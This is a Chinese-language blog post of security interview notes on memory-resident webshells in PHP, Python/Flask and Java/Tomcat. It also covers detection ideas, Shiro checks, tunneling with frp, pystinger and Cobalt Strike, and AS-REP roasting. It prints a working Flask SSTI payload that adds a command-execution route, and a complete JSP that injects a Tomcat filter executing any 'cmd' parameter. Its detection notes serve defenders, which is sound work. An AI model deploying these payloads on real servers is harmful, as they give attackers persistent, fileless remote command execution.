分析一下内存马
内存webshell原理
其原理是先由客户端发起一个web请求,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器。
PHP内存马
原理
php内存马也就是php不死马是将不死马启动后删除本身,在内存中执行死循环,使管理员无法删除木马文件。
对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode运行了,会使用条件竞争写入同名文件进行克制不死马。
检测思路
1. 检查所有php进程处理请求的持续时间
2. 检测执行文件是否在文件系统真实存在
代码
’;
file_put_contents("22.php", $content);
usleep(10000);
}
?>
函数说明:
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为 true,则忽略与用户的断开。
set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。
unlink(__FILE__)函数:删除文件。
file_put_contents函数:将一个字符串写入文件。
usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。
Python内存马
原理
Python内存马利用flask框架中ssti注入来实现,flask框架中在web应用模板渲染的过程中用到render_template_string()进行渲染,但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现python内存马的注入。
检测思路
1. 查看所有内建模块中是否包含eval、exec等可以执行代码的函数如:class ‘warnings.catch_warnings’
、class 'site.Quitter'
等。
2. 检测self.add_url_rule()
中特殊名字的路由如shell等。
代码
http://127.0.0.1:5000/index?=content{{a.__init__.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell1%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}
需要URL编码
http://127.0.0.1:5000/index?=content{{a.__init__.__globals__['__builtins__']['eval']("app.add_url_rule('/shell1', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
函数说明:
__class__:返回调用的参数类型
__bases__:返回基类列表
__builtins__:内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等
__globals__:以字典的形式返回函数所在的全局命名空间所定义的全局变量,这里的函数可以是类class的构造函数如__init__,也可以是flask的函数如url_for等。
add_url_rule注册了一个/shell的路由,__init__相当于构造函数,定义自己的属性,通过__init__.__globals__得到他们的命名空间从而得到builtins就可以执行内置函数如eval, exec, open等。
Java内存马
原理
FIlter为过滤器可以对用户的一些请求进行拦截修改等操作。
当web.xml中注册了一个Filter来对某个 Servlet 程序进行拦截处理时,该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息进行修改。
filter型内存马是将命令执行的文件通过动态注册成一个恶意的filter,这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行。
filter检测思路:
1. 带有特殊含义的filter的名字比如shell等
2. Filter的优先级,filter内存马需要将filter调至最高
3. 查看web.xml中有没有filter配置
4. 检测特殊的classloader
5. 检测classloader路径下没有class文件
6. 检测Filter中的doFilter方法是否有恶意代码
代码
代码非常长,放在文章最后面了。
内存马排查思路
- 先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志,如果是filter或者listener类型就会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的
- 查看是否有类似哥斯拉、冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。
- 查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。
- 如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
如何判断是否存在Shiro漏洞
未登陆的情况下,请求包的 cookie 中没有 rememberMe
字段,返回包 set-Cookie 里也没有 deleteMe
字段
登陆失败的话 , 不管勾选 RememberMe 字段没有 , 返回包都会有rememberMe=deleteMe
字段
不勾选 RememberMe 字段 , 登陆成功的话 , 返回包 set-Cookie 会有rememberMe=deleteMe
字段。但是之后的所有请求中 Cookie 都不会有 rememberMe字段
勾选 RememberMe 字 段 , 登陆成功的话 , 返回包 set-Cookie 会有rememberMe=deleteMe
字段,还会有 rememberMe 字段,之后的所有请求中 Cookie都会有 rememberMe 字段
后渗透建立隧道
常规出网隧道搭建
使用frp/ligolo等基于golang的内网穿透工具。
- 使用MSF获取Session后建立端口转发/socks4a/socks5代理。
- 使用regeorg/Tunna/ABPTTS等基于webshell的内网代理。
其中基于frp/ligolo等内网穿透工具是出网环境最好的选择,因为此类工具中都集成TLS加密/TCP连接复用/socks5代理功能,有极高的传输效率及稳定性。
漏洞/机子不出网情况下怎么办?
正向Socks代理
- client运行在互联网的vps上,开启端口监听处理proxychains转发的tcp连接。
- clinet从tcp连接中读取数据,将数据存储在post请求中发送到webshell。
- webshell将http请求转发到本地的server服务器。
- server为运行在不出网主机中,取出http请求中的数据,根据socks协议规则解析目的地址及端口。
- server将于目的地址及端口建立tcp连接,发送数据。
大部分建立连接及处理数据的工作由不出网主机中运行的server端实现,webshell只进行http请求的转发操作。
反向端口映射
server端:
- beacon将http请求(假设数据为AAAAAA)发送到server。
- server将(AAAAAA)存储到缓存,并保持与beacon的http连接。
client端:
- 请求webshell。
- webshell转发请求到server。
- server将缓存的(AAAAA)填充到http应答中。
- webshell将server的应答转发给client。
- client从应答中获取数据(AAAAA)。
- client与cobaltstike的listener建立tcp连接。
- client发送(AAAAA)到cobaltstrike的listener。
- conbaltstrike发送应答数据(BBBBBB)。
- client将数据(BBBBB)封装到http请求中,通过webshell转发到server。
- server通过之前保持的http连接将(BBBBBB)发送到beacon。
可以看到我们可以通过新的方法直接使用reverse_https类型的beacon上线。上图中只是不出网的当前主机上线,如果我们需要内网其他主机上线也可以,原理图稍有变更。
只要将server的监听从127.0.0.1改为0.0.0.0即可,这样的话内网其他主机就可以通过不出网主机上线了。
使用smb beacon
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。
SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
连接步骤
1. 首先得到内网中一台主机的beacon,抓取密码后进行smb喷洒
2. 得到另一台开放445端口的机器上的administrator账户密码
3. 用Smb beacon使目标主机上线
使用条件
- 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
- 利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
配置listener通过HTTP代理上线
1. 使用goproxy项目做代理
2. 上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理
3. 用netsh命令将访问内网ip的822端口(必须为未使用的端口,否则会失败)的流量重定向到外网ip的8080端口
使用pystinger搭建socks4代理
服务端由webshell和stinger_server.exe构成,webshell只负责进行流量转发,大部分建立连接及处理数据的工作由stinger_server.exe实现,本质就是搭建了一个SOCK4代理转发流量
连接步骤
1. 上传proxy.php到网站目录,正常访问返回UTF-8
2. 上传stinger_server.exe,执行start stinger_server.exe 0.0.0.0
3. Kali上执行./stinger_client -w http://xxxxxxxxx:81/proxy.php -l 127.0.0.1 -p 60000
4. cs中新建listener,xxxxxxxxx为web服务器内网ip,60020为转发端口
5. 使用psexec横向移动,选择listener为stinger,成功上线
域内攻击方法
MS14-068
详情请看上一篇文章
Roasting 攻击离线爆破密码
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 Do not require Kerberos preauthentication(不需要kerberos预身份验证)
。而该属性默认是没有勾选上的。
预身份验证是Kerberos身份验证的第一步,它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。
当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。
攻击时使用 Rubeus.exe 获取hash,再使用hashcat对获得的Hash进行爆破
委派攻击
原理比较简单,但是实现较为困难,以后有空再回头来学习。
ntlm relay
同样是上一篇文章的内容。
Java内存马代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
<%@ page import = "javax.servlet.*" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.util.Map" %>
<%
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
%>
<%
//从org.apache.catalina.core.ApplicationContext反射获取context方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";
//判断是否存在filterDemo1这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/zzz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/zzz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
//反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
%>
后记
看了三天面试题,从面试题入手查漏补缺感觉收获良多。
这几天可能会有一些面试,有可能会鸽两天去复习巩固一下基础知识了。